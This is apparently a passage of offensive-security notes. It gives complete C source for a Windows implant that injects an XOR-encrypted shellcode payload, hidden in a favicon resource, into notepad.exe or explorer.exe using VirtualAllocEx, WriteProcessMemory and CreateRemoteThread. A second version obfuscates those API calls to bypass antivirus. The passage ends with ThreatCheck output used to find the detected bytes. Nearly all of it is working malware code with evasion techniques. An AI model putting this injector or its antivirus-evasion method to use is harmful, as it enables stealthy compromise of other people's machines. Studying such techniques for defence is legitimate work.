hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
XOR((char *) payload, payload_len, key, sizeof(key));
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;
int pid = 0;
HANDLE hProc = NULL;
pid = FindTarget("notepad.exe");
unsigned char * payload;
unsigned int shellcode_len;
// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL,res); //load resource
payload = (char *) LockResource(resHandle); //obtain a pointer to the memory containing the resource data.
shellcode_len = SizeofResource(NULL, res);
if(pid){
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProc != NULL) {
Inject(hProc, payload, shellcode_len);
CloseHandle(hProc);
}
}
return 0;
}
Bypassing AV (Detectable)
Implement function call obfuscation to VirtualAllocEx
, WriteProcessMemory
, CreateRemoteThread
.
Copy #include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
#include <tlhelp32.h>
char key[] = "hUNdAmEnALtaterphApSERS";
LPVOID (WINAPI * pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress,SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
BOOL (WINAPI * pWriteProcessMemory)(HANDLE hProcess,LPVOID lpBaseAddress,LPCVOID lpBuffer,SIZE_T nSize,SIZE_T *lpNumberOfBytesWritten);
HANDLE (WINAPI * pCreateRemoteThread)(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
unsigned char sVirtualAllocEx [] = {0x3e,0x3c,0x3c,0x10,0x34,0x0c,0x29,0x2f,0x2d,0x20,0x1b,0x02,0x31,0x1d};
unsigned char sWriteProcessMemory [] = {0x3f,0x27,0x27,0x10,0x24,0x3d,0x37,0x01,0x22,0x29,0x07,0x12,0x39,0x00,0x1f,0x1f,0x1a,0x38};
unsigned char sCreateRemoteThread [] = {0x2b,0x27,0x2b,0x05,0x35,0x08,0x17,0x0b,0x2c,0x23,0x00,0x04,0x20,0x0d,0x00,0x15,0x09,0x25};
XOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
XOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
XOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
pVirtualAllocEx = GetProcAddress(GetModuleHandle("Kernel32.dll"),sVirtualAllocEx);
pWriteProcessMemory = GetProcAddress(GetModuleHandle("Kernel32.dll"),sWriteProcessMemory);
pCreateRemoteThread = GetProcAddress(GetModuleHandle("Kernel32.dll"),sCreateRemoteThread);
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
XOR((char *) payload, payload_len, key, sizeof(key));
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
hThread = pCreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;
int pid = 0;
HANDLE hProc = NULL;
pid = FindTarget("explorer.exe");
unsigned char * payload;
unsigned int shellcode_len;
// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL,res); //load resource
payload = (char *) LockResource(resHandle); //obtain a pointer to the memory containing the resource data.
shellcode_len = SizeofResource(NULL, res);
if(pid){
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProc != NULL) {
Inject(hProc, payload, shellcode_len);
CloseHandle(hProc);
}
}
return 0;
}
Binary Analysis
Copy PS C:\> ThreatCheck.exe -f implant.exe
[+] Target file size: 95232 bytes
[*] Threat found, splitting
[!] Identified end of bad bytes at offset 0x583
00000483 85 C0 75 D9 EB 04 8B 7C 24 28 48 8B CB FF 15 6A .AuUë..|$(H.Eÿ.j
00000493 BF 00 00 BA 64 00 00 00 33 C9 44 8D 42 A6 FF 15 ¿..ºd...3ÉD.B▌ÿ.
000004A3 A1 BF 00 00 48 8B D0 33 C9 48 8B D8 FF 15 73 BF ¡¿..H.D3ÉH.Oÿ.s¿
000004B3 00 00 48 8B C8 FF 15 72 BF 00 00 48 8B D3 33 C9 ..H.Eÿ.r¿..H.O3É
000004C3 48 8B F0 FF 15 6C BF 00 00 8B E8 85 FF 74 2F 44 H.dÿ.l¿...è.ÿt/D
000004D3 8B C7 33 D2 B9 3A 04 00 00 FF 15 2E BF 00 00 48 .Ç3O1:...ÿ..¿..H
000004E3 8B D8 48 85 C0 74 17 44 8B C5 48 8B D6 48 8B C8 .OH.At.D.ÅH.ÖH.E
000004F3 E8 58 01 00 00 48 8B CB FF 15 FF BE 00 00 4C 8D èX...H.Eÿ.ÿ_..L.
00000503 9C 24 50 01 00 00 33 C0 49 8B 5B 10 49 8B 6B 18 .$P...3AI.[.I.k.
00000513 49 8B 73 20 49 8B E3 5F C3 CC CC CC CC CC CC CC I.s I.a_AIIIIIII
00000523 CC CC CC CC CC CC CC CC CC CC CC CC CC 48 85 D2 IIIIIIIIIIIIIH.O
00000533 74 5A 48 89 5C 24 10 57 48 89 74 24 10 45 33 D2 tZH.\$.WH.t$.E3O
00000543 33 F6 33 DB 49 FF C9 48 8B FA 4C 8B D9 33 C9 49 3ö3UIÿÉH.úL.U3ÉI
00000553 63 D2 49 3B D1 4D 8D 5B 01 48 0F 45 CE 42 0F B6 cOI;ÑM.[.H.EIB.
00000563 04 01 48 8D 71 01 41 30 43 FF 33 C0 49 3B D1 41 ..H.q.A0Cÿ3AI;ÑA
00000573 0F 45 C2 FF C3 44 8D 50 01 48 63 C3 48 3B C7 72 .EAÿAD.P.HcAH;Çr
[*] Run time: 16.16s